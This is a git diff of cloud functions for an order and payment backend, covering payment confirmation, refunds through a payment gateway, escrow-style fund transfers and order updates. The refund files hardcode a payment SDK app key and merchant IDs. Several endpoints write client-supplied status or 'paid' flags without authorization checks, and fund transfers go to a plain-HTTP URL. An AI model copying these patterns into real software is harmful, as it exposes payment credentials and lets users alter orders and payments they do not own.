+ // 业务逻辑开始-----------------------------------------------------------
+
+ const payRecord = await vk.baseDao.findById({
+ dbName: "jjx-order-pay-list",
+ id: data.id
+ })
+ if (!payRecord) return {code: -1, msg: '支付单不存在'}
+
+ if (payRecord.isNotaryPay || payRecord.isNotaryApply) {
+ res = await notaryPay.executeTransfer({
+ vk,
+ payRecord,
+ operator: 'buyer'
+ })
+ if (res.code !== 0) return res
+ return res
+ }
+
+ const confirmAt = vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss")
+ await vk.baseDao.updateById({
+ dbName: "jjx-order-pay-list",
+ id: payRecord._id,
+ dataJson: {
+ sellerConfirm: true,
+ confirmAt
+ }
+ })
+
+ if (['尾款', '货到付款', '全款'].includes(payRecord.type)) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: payRecord.orderId,
+ dataJson: {
+ orderStatus: 4
+ }
+ })
+ }
+
+ // 添加余额、记录
+ // const seller = await vk.baseDao.findById({
+ // dbName: 'uni-id-users',
+ // id: payRecord.sellerUid,
+ // })
+ // if (seller) {
+ // if (!seller.balance) {
+ // await vk.baseDao.updateById({
+ // dbName: 'uni-id-users',
+ // id: seller._id,
+ // dataJson: {
+ // balance: payRecord.price,
+ // }
+ // })
+ // } else {
+ // await vk.baseDao.updateById({
+ // dbName: 'uni-id-users',
+ // id: seller._id,
+ // dataJson: {
+ // balance: _.inc(payRecord.price),
+ // }
+ // })
+ // }
+ // await vk.baseDao.add({
+ // dbName: "jjx-user-balance-log",
+ // dataJson: {
+ // uid: seller._id,
+ // orderId: payRecord.orderId,
+ // type: payRecord.type,
+ // price: payRecord.price,
+ // desc: "订单支付成功",
+ // createTime: vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss"),
+ // }
+ // })
+ // }
+
+ // const order = await vk.baseDao.findById({
+ // dbName: "jjx-order",
+ // id: payRecord.orderId,
+ // })
+ //
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/payListChangeStatus.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/payListChangeStatus.js
new file mode 100644
index 0000000..93ec8cc
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/payListChangeStatus.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/payListChangeStatus 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-order-pay-list",
+ id: data.id,
+ dataJson: {
+ status: data.status
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/payRefuse.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/payRefuse.js
new file mode 100644
index 0000000..fd67851
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/payRefuse.js
@@ -0,0 +1,205 @@
+'use strict';
+const dayjs = require("dayjs");
+const OpenSdk = require('../../../../util/base').default;
+const notaryPay = require('./util/notaryPay');
+
+const sdk = new OpenSdk({
+ appId: '8a81c1db8fc5238d01910b9e312d0692',
+ appKey: 'a15ceac60f5b464eb758c4fe7800ee9f'
+});
+
+const REFUND_MID = '898450100002303';
+const REFUND_TID = 'G5SBN2XJ';
+const REFUND_INST_MID = 'WGDEFAULT';
+const REFUND_SUB_MID = '898450100004218';
+const REFUND_SUB_MID_MAIN = '898450100004711';
+const PLATFORM_RATE_DICT_ID = 'd84694f2696818f20c28f55f36764783';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/payRefuse 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, refuseReason} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const payRecord = await vk.baseDao.updateAndReturn({
+ dbName: "jjx-order-pay-list",
+ whereJson: {
+ _id: data.id,
+ },
+ dataJson: {
+ buyerRefuse: true,
+ refuseReason,
+ transferStatus: 2,
+ transferRefuseAt: vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss")
+ }
+ })
+
+ const order = await vk.baseDao.findById({
+ dbName: 'jjx-order',
+ id: payRecord.orderId
+ })
+
+ const isNotaryPay = !!order && Number(order.type) > 3 && Number(order.signMethod) === 0;
+
+ if (isNotaryPay && payRecord.isNotaryApply) {
+ res.refund = {
+ skipped: true,
+ reason: '公证付款申请驳回不触发退款'
+ };
+ await notaryPay.addMessage(vk, {
+ uid: payRecord.sellerUid,
+ title: '付款单被驳回',
+ content: `订单${order && order.orderNo ? order.orderNo : payRecord.orderId}的${payRecord.type || ''}付款单已被买家驳回,原因:${refuseReason || '未填写'}`,
+ type: 'order-pay-refuse',
+ pk: payRecord.orderId
+ });
+ return res;
+ }
+
+ if (['预付款', '货到付款'].includes(payRecord.type) && !isNotaryPay) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: payRecord.orderId,
+ dataJson: {
+ payStatus: 0
+ }
+ })
+ }
+
+ const hasPay = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-pay-list",
+ whereJson: {
+ orderId: payRecord.orderId,
+ buyerRefuse: false,
+ sellerConfirm: true
+ }
+ })
+ const hasExpress = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-pay-list",
+ whereJson: {
+ orderId: payRecord.orderId,
+ isExpress: true,
+ hasPaid: true,
+ }
+ })
+
+ // orderStatus 0待支付 1已支付待发货 2已发货待收货 3已收货待完成 4已完成
+ // 发货单已支付的不能再次发货
+ let orderStatus = 0
+ // 未发货且没有支付单
+ if (!hasExpress && !hasPay) orderStatus = 0
+ // 未发货且有支付单
+ if (!hasExpress && !!hasPay) orderStatus = 1
+ // 已发货且已确认支付
+ if (!!hasExpress) orderStatus = 2
+
+ res.hasExpress = hasExpress
+ res.hasPay = hasPay
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: payRecord.orderId,
+ dataJson: {
+ orderStatus
+ }
+ });
+
+ const hasManualVoucher = Array.isArray(payRecord.paidVoucher) ? payRecord.paidVoucher.length > 0 : !!payRecord.paidVoucher;
+ const refundAmount = Math.round(Number(payRecord.amount || 0) * 100);
+ const shouldCallRefund = !!payRecord.hasPaid && !hasManualVoucher && !!payRecord.orderNo && refundAmount > 0 && !isNotaryPay;
+
+ if (shouldCallRefund) {
+ const refundOrderId = vk.pubfn.createOrderNo("39XU", 24);
+ const refundData = {
+ queryUrl: 'https://api-mop.chinaums.com/v1/netpay/refund',
+ timestamp: dayjs().format('YYYYMMDDHHmmss'),
+ nonce: `refund_${Date.now()}`,
+ content: {
+ requestTimestamp: dayjs().format('YYYY-MM-DD HH:mm:ss'),
+ merOrderId: payRecord.orderNo,
+ instMid: REFUND_INST_MID,
+ mid: REFUND_MID,
+ tid: REFUND_TID,
+ refundAmount,
+ refundOrderId,
+ refundDesc: refuseReason || '买家驳回支付单退款'
+ }
+ };
+
+ try {
+ const platformRateData = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: PLATFORM_RATE_DICT_ID
+ });
+ const platformRate = Number(platformRateData && platformRateData.content);
+ if (!Number.isNaN(platformRate) && platformRate >= 0 && platformRate <= 100) {
+ const subAmount = parseInt(refundAmount * ((100 - platformRate) / 100), 10);
+ const subAmountMain = refundAmount - subAmount;
+ refundData.content.platformAmount = 0;
+ refundData.content.subOrders = [
+ {
+ mid: REFUND_SUB_MID,
+ totalAmount: String(subAmount),
+ },
+ {
+ mid: REFUND_SUB_MID_MAIN,
+ totalAmount: String(subAmountMain),
+ }
+ ];
+ }
+
+ const refundRawResult = await sdk.exec(refundData);
+ const refundResult = typeof refundRawResult === "string" ? JSON.parse(refundRawResult) : refundRawResult;
+ const refundSuccess = refundResult && refundResult.errCode === 'SUCCESS';
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-order-pay-list",
+ id: payRecord._id,
+ dataJson: {
+ refundApplyAt: vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss"),
+ refundApplyPayload: refundData.content,
+ refundApplyResult: refundResult,
+ refundApplySuccess: refundSuccess
+ }
+ });
+
+ res.refund = {
+ success: refundSuccess,
+ result: refundResult
+ };
+ } catch (err) {
+ const errMsg = err && err.message ? err.message : JSON.stringify(err);
+ await vk.baseDao.updateById({
+ dbName: "jjx-order-pay-list",
+ id: payRecord._id,
+ dataJson: {
+ refundApplyAt: vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss"),
+ refundApplyPayload: refundData.content,
+ refundApplySuccess: false,
+ refundApplyError: errMsg
+ }
+ });
+
+ res.refund = {
+ success: false,
+ error: errMsg
+ };
+ }
+ } else {
+ res.refund = {
+ skipped: true,
+ reason: '当前支付单未命中线上退款条件'
+ };
+ }
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/refund.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/refund.js
new file mode 100644
index 0000000..fd524a8
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/refund.js
@@ -0,0 +1,55 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/refund 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, refundReason, refundPhotos} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const order = await vk.baseDao.findById({
+ dbName: "jjx-order",
+ id: data.id
+ });
+ if ([4, 5, 6].includes(order.type)) {
+ const payList = await vk.baseDao.select({
+ dbName: "jjx-order-pay-list",
+ whereJson: {
+ orderId: data.id,
+ buyerRefuse: false
+ }
+ });
+ let paidConfirmNum = 0
+ for (let i = 0; i < payList.rows.length; i++) {
+ if ( payList.rows[i].sellerConfirm) paidConfirmNum++
+ }
+ if (paidConfirmNum === payList.rows.length) {
+ res.code = 1;
+ res.msg = "订单已确认收款,无法申请退款";
+ } else {
+ res.code = 0;
+ res.msg = "平台将在2个工作日内审核,请您耐心等待";
+ }
+ }
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: data.id,
+ dataJson: {
+ refundReason,
+ refundPhotos,
+ orderStatus: 5,
+ refundRequestAt: vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss")
+ }
+ })
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/refundQuery.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/refundQuery.js
new file mode 100644
index 0000000..637fc0d
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/refundQuery.js
@@ -0,0 +1,100 @@
+'use strict';
+const dayjs = require("dayjs");
+const OpenSdk = require('../../../../util/base').default;
+
+const sdk = new OpenSdk({
+ appId: '8a81c1db8fc5238d01910b9e312d0692',
+ appKey: 'a15ceac60f5b464eb758c4fe7800ee9f'
+});
+
+const REFUND_MID = '898450100002303';
+const REFUND_TID = 'G5SBN2XJ';
+const REFUND_INST_MID = 'WGDEFAULT';
+
+module.exports = {
+ /**
+ * 退款查询
+ * @url client/order/kh/refundQuery 前端调用的url参数地址
+ * data 请求参数
+ */
+ main: async (event) => {
+ let {data = {}, util} = event;
+ let {vk} = util;
+ let res = {code: 0, msg: ""};
+
+ const payRecord = await vk.baseDao.findById({
+ dbName: "jjx-order-pay-list",
+ id: data.id
+ });
+
+ if (!payRecord) {
+ return {
+ code: -1,
+ msg: "支付单不存在"
+ };
+ }
+
+ const refundOrderId = data.refundOrderId
+ || (payRecord.refundApplyPayload && payRecord.refundApplyPayload.refundOrderId)
+ || (payRecord.refundApplyResult && payRecord.refundApplyResult.refundOrderId);
+
+ if (!refundOrderId) {
+ return {
+ code: -1,
+ msg: "未找到退款单号,请先发起退款"
+ };
+ }
+
+ const queryData = {
+ queryUrl: 'https://api-mop.chinaums.com/v1/netpay/refund-query',
+ timestamp: dayjs().format('YYYYMMDDHHmmss'),
+ nonce: `refund_query_${Date.now()}`,
+ content: {
+ requestTimestamp: dayjs().format('YYYY-MM-DD HH:mm:ss'),
+ merOrderId: refundOrderId,
+ instMid: REFUND_INST_MID,
+ mid: REFUND_MID,
+ tid: REFUND_TID
+ }
+ };
+
+ try {
+ const queryRawResult = await sdk.exec(queryData);
+ const queryResult = typeof queryRawResult === "string" ? JSON.parse(queryRawResult) : queryRawResult;
+ const querySuccess = queryResult && queryResult.errCode === 'SUCCESS';
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-order-pay-list",
+ id: payRecord._id,
+ dataJson: {
+ refundQueryAt: vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss"),
+ refundQueryPayload: queryData.content,
+ refundQueryResult: queryResult,
+ refundQuerySuccess: querySuccess
+ }
+ });
+
+ res.data = queryResult;
+ res.querySuccess = querySuccess;
+ res.msg = querySuccess ? "查询成功" : (queryResult.errMsg || "查询失败");
+ return res;
+ } catch (err) {
+ const errMsg = err && err.message ? err.message : JSON.stringify(err);
+ await vk.baseDao.updateById({
+ dbName: "jjx-order-pay-list",
+ id: payRecord._id,
+ dataJson: {
+ refundQueryAt: vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss"),
+ refundQueryPayload: queryData.content,
+ refundQuerySuccess: false,
+ refundQueryError: errMsg
+ }
+ });
+
+ return {
+ code: -1,
+ msg: errMsg
+ };
+ }
+ }
+};
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/resetOrderNo.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/resetOrderNo.js
new file mode 100644
index 0000000..e0296a9
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/resetOrderNo.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/resetOrderNo 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: data.id,
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/resetPayListOrderNo.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/resetPayListOrderNo.js
new file mode 100644
index 0000000..7a9f886
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/resetPayListOrderNo.js
@@ -0,0 +1,37 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/resetOrderNo 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ const payRecord = await vk.baseDao.findById({
+ dbName: "jjx-order-pay-list",
+ id: data.id
+ });
+ if (payRecord && payRecord.hasPaid) {
+ res.data = payRecord.orderNo;
+ res.msg = "支付单已支付,无需重置订单号";
+ return res;
+ }
+ const orderNo = vk.pubfn.createOrderNo("39XU", 20)
+ await vk.baseDao.updateById({
+ dbName: "jjx-order-pay-list",
+ id: data.id,
+ dataJson: {
+ orderNo,
+ }
+ });
+
+ res.data = orderNo
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/setExpress.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/setExpress.js
new file mode 100644
index 0000000..022bb2f
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/setExpress.js
@@ -0,0 +1,32 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/setExpress 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, id, expressName, expressNo, remark, expressPhoto,} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id,
+ dataJson: {
+ expressName,
+ expressNo,
+ remark,
+ expressPhoto,
+ orderStatus: 2,
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/setPayList.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/setPayList.js
new file mode 100644
index 0000000..24d2b85
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/setPayList.js
@@ -0,0 +1,37 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/makePayList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ // status 0待支付 1已支付待发货 2已发货待收货 3已收货待完成 4已完成
+
+ await vk.baseDao.adds({
+ dbName: "jjx-order-pay-list",
+ dataJson: data.payList
+ });
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: data.payList[0].orderId,
+ dataJson: {
+ orderStatus: 1
+ }
+ });
+
+ console.log('orderId', data.payList[0].orderId)
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
\ No newline at end of file
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/updateAddress.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/updateAddress.js
new file mode 100644
index 0000000..878d045
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/updateAddress.js
@@ -0,0 +1,33 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/updateAddress 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: data.id,
+ dataJson: {
+ address: data.address,
+ addressDetail: data.addressDetail,
+ phone: data.phone,
+ name: data.name,
+ remark: data.remark,
+ }
+ });
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/uploadPayVoucher.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/uploadPayVoucher.js
new file mode 100644
index 0000000..ba9695e
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/uploadPayVoucher.js
@@ -0,0 +1,40 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/order/kh/uploadPayVoucher 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, buyerPhotos, paidVoucher, buyerRemark} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const payRecord = await vk.baseDao.findById({
+ dbName: "jjx-order-pay-list",
+ id: data._id
+ })
+ if (payRecord && payRecord.isNotaryApply) {
+ return {code: -1, msg: '公证付款申请无需买家再次支付'}
+ }
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-order-pay-list",
+ id: data._id,
+ dataJson: {
+ hasPaid: true,
+ paidVoucher,
+ paidAt: vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss"),
+ buyerPhotos,
+ buyerRemark
+ }
+ })
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/util/notaryPay.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/util/notaryPay.js
new file mode 100644
index 0000000..64b4ec4
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/kh/util/notaryPay.js
@@ -0,0 +1,231 @@
+'use strict';
+
+const AUTO_TRANSFER_DAYS_DICT_ID = '238cef266a67e89a006025974a41dbd7';
+const DEFAULT_AUTO_TRANSFER_DAYS = 3;
+
+function nowText(vk) {
+ return vk.pubfn.timeFormat(new Date(), "yyyy-MM-dd hh:mm:ss");
+}
+
+async function getAutoTransferDays(vk) {
+ try {
+ const config = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: AUTO_TRANSFER_DAYS_DICT_ID
+ });
+ const days = parseInt(config && config.content, 10);
+ if (Number.isFinite(days) && days > 0) return days;
+ } catch (err) {
+ console.error('getAutoTransferDays error:', err);
+ }
+ return DEFAULT_AUTO_TRANSFER_DAYS;
+}
+
+async function buildPayApplyFields(vk) {
+ const applyTimestamp = Date.now();
+ const autoTransferDays = await getAutoTransferDays(vk);
+ const autoTransferTimestamp = applyTimestamp + autoTransferDays * 24 * 60 * 60 * 1000;
+ return {
+ transferStatus: 0,
+ applyAt: nowText(vk),
+ applyTimestamp,
+ autoTransferDays,
+ autoTransferAt: vk.pubfn.timeFormat(new Date(autoTransferTimestamp), "yyyy-MM-dd hh:mm:ss"),
+ autoTransferTimestamp
+ };
+}
+
+async function findFullPayRecord(vk, orderId) {
+ const res = await vk.baseDao.select({
+ dbName: 'jjx-order-pay-list',
+ whereJson: {
+ orderId,
+ isNotaryFullPay: true,
+ buyerRefuse: false
+ },
+ sortArr: [{name: '_add_time', type: 'desc'}],
+ pageIndex: 1,
+ pageSize: 1
+ });
+ return res && res.rows && res.rows[0] ? res.rows[0] : null;
+}
+
+async function resolveTransferSourcePayRecord(vk, payRecord) {
+ if (!payRecord) return null;
+ if (payRecord.isNotaryFullPay) return payRecord;
+ if (payRecord.fullPayListId) {
+ const fullPayRecord = await vk.baseDao.findById({
+ dbName: 'jjx-order-pay-list',
+ id: payRecord.fullPayListId
+ });
+ if (fullPayRecord) return fullPayRecord;
+ }
+ if (payRecord.sourcePayListId) {
+ const fullPayRecord = await vk.baseDao.findById({
+ dbName: 'jjx-order-pay-list',
+ id: payRecord.sourcePayListId
+ });
+ if (fullPayRecord) return fullPayRecord;
+ }
+ if (payRecord.orderId) {
+ return await findFullPayRecord(vk, payRecord.orderId);
+ }
+ return null;
+}
+
+/**
+ * 获取卖家用于银联划付的企业用户号。
+ * 企业用户号属于卖家用户资料,不能使用客户端传入值或固定商户号。
+ */
+async function resolveSellerMerNo(vk, payRecord) {
+ const sellerUid = payRecord && payRecord.sellerUid;
+ if (!sellerUid) return '';
+ try {
+ const seller = await vk.baseDao.findById({
+ dbName: 'uni-id-users',
+ id: sellerUid
+ });
+ return String((seller && seller.merNo) || '').trim();
+ } catch (err) {
+ console.error('resolveSellerMerNo error:', err);
+ return '';
+ }
+}
+
+async function addMessage(vk, dataJson) {
+ if (!dataJson || !dataJson.uid) return;
+ await vk.baseDao.add({
+ dbName: 'jjx-message',
+ dataJson: {
+ ...dataJson,
+ hasRead: false
+ }
+ });
+}
+
+async function notifyPaySuccess({ vk, payRecord, order }) {
+ await addMessage(vk, {
+ uid: payRecord.sellerUid,
+ title: '买家已完成公证支付',
+ content: `订单${order && order.orderNo ? order.orderNo : payRecord.orderId}买家已支付货款到金久信公证平台,请按约定发起付款单申请划付。`,
+ type: 'order-pay',
+ pk: payRecord.orderId
+ });
+}
+
+async function notifyPayApply({ vk, payRecord, order }) {
+ await addMessage(vk, {
+ uid: payRecord.buyerUid,
+ title: '卖家已发起付款单',
+ content: `订单${order && order.orderNo ? order.orderNo : payRecord.orderId}卖家已发起${payRecord.type || ''}付款单,金额${payRecord.amount}元,请及时通过申请或驳回。`,
+ type: 'order-pay',
+ pk: payRecord.orderId
+ });
+}
+
+async function executeTransfer({ vk, payRecord, operator = 'buyer' }) {
+ if (!payRecord) return { code: -1, msg: '支付单不存在' };
+ if (!payRecord.isNotaryApply) return { code: -1, msg: '当前支付单不是公证划付申请单' };
+ if (payRecord.buyerRefuse) return { code: -1, msg: '支付单已被买家驳回' };
+ if (!payRecord.hasPaid) return { code: -1, msg: '公证托管资金尚未支付' };
+ if (payRecord.sellerConfirm) return { code: 0, msg: '已划付', data: payRecord.transferResult || null };
+
+ const fullPayRecord = await resolveTransferSourcePayRecord(vk, payRecord);
+ const sourcePayOrderNo = fullPayRecord && fullPayRecord.orderNo ? fullPayRecord.orderNo : (payRecord.fullPayOrderNo || payRecord.sourcePayOrderNo || '');
+ const sourcePayListId = fullPayRecord && fullPayRecord._id ? fullPayRecord._id : (payRecord.fullPayListId || payRecord.sourcePayListId || '');
+ const sourcePayAmount = fullPayRecord && Number(fullPayRecord.amount || 0) > 0 ? Number(fullPayRecord.amount) : Number(payRecord.fullPayAmount || 0);
+ if (!sourcePayOrderNo) return { code: -1, msg: '未找到全额支付单单号,无法划付' };
+ if (fullPayRecord && !fullPayRecord.hasPaid) return { code: -1, msg: '全额支付单尚未支付,无法划付' };
+
+ // const buyer = await vk.baseDao.findById({
+ // dbName: 'uni-id-users',
+ // id: payRecord.buyerUid,
+ // });
+ // if (!buyer || !buyer.mid) {
+ // return { code: -1, msg: '买家商户号不存在' };
+ // }
+
+ const payAmt = Number(payRecord.amount || payRecord.price || 0);
+ if (!Number.isFinite(payAmt) || payAmt <= 0) {
+ return { code: -1, msg: '付款单金额不正确' };
+ }
+ const accNo = await resolveSellerMerNo(vk, payRecord);
+ if (!accNo) {
+ return { code: -1, msg: '卖家未配置企业用户号,无法划付' };
+ }
+ const transferResult = await vk.request({
+ url: 'http://jjx-union-pay.gxwebsoft.com/api/union-pay-jjx/transByOrder',
+ method: 'POST',
+ dataType: 'json',
+ header: {
+ 'content-type': 'application/json; charset=utf-8'
+ },
+ data: {
+ accNo,
+ merOrderNo: sourcePayOrderNo,
+ payAmt,
+ amount: payAmt,
+ },
+ timeout: 60000
+ });
+
+ const transferAt = nowText(vk);
+ await vk.baseDao.updateById({
+ dbName: 'jjx-order-pay-list',
+ id: payRecord._id,
+ dataJson: {
+ sellerConfirm: true,
+ confirmAt: transferAt,
+ transferStatus: 1,
+ transferAt,
+ transferOperator: operator,
+ transferResult,
+ transferSourcePayListId: sourcePayListId,
+ transferSourceOrderNo: sourcePayOrderNo,
+ transferSourceAmount: sourcePayAmount
+ }
+ });
+
+ if (['尾款', '货到付款', '全款'].includes(payRecord.type)) {
+ await vk.baseDao.updateById({
+ dbName: 'jjx-order',
+ id: payRecord.orderId,
+ dataJson: {
+ orderStatus: 4,
+ }
+ });
+ }
+
+ await addMessage(vk, {
+ uid: payRecord.sellerUid,
+ title: '付款单已划付',
+ content: `付款单${payRecord.type || ''}已${operator === 'auto' ? '自动' : '由买家确认'}划付,金额${payRecord.amount}元,来源单号:${sourcePayOrderNo}。`,
+ type: 'order-pay-transfer',
+ pk: payRecord.orderId
+ });
+
+ return {
+ code: 0,
+ msg: '划付成功',
+ data: {
+ transferResult,
+ sourcePayOrderNo,
+ sourcePayListId,
+ sourcePayAmount
+ }
+ };
+}
+
+module.exports = {
+ AUTO_TRANSFER_DAYS_DICT_ID,
+ DEFAULT_AUTO_TRANSFER_DAYS,
+ getAutoTransferDays,
+ buildPayApplyFields,
+ findFullPayRecord,
+ resolveTransferSourcePayRecord,
+ addMessage,
+ notifyPaySuccess,
+ notifyPayApply,
+ resolveSellerMerNo,
+ executeTransfer
+};
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/order/pub/test.js b/uniCloud-tcb/cloudfunctions/router/service/client/order/pub/test.js
new file mode 100644
index 0000000..5472395
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/order/pub/test.js
@@ -0,0 +1,23 @@
+'use strict';
+module.exports = {
+ /**
+ * 此函数名称
+ * @url client/order/pub/test 前端调用的url参数地址
+ * data 请求参数
+ * @params {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, originalParam } = event;
+ let { customUtil, config, pubFun, vk, db, _ } = util;
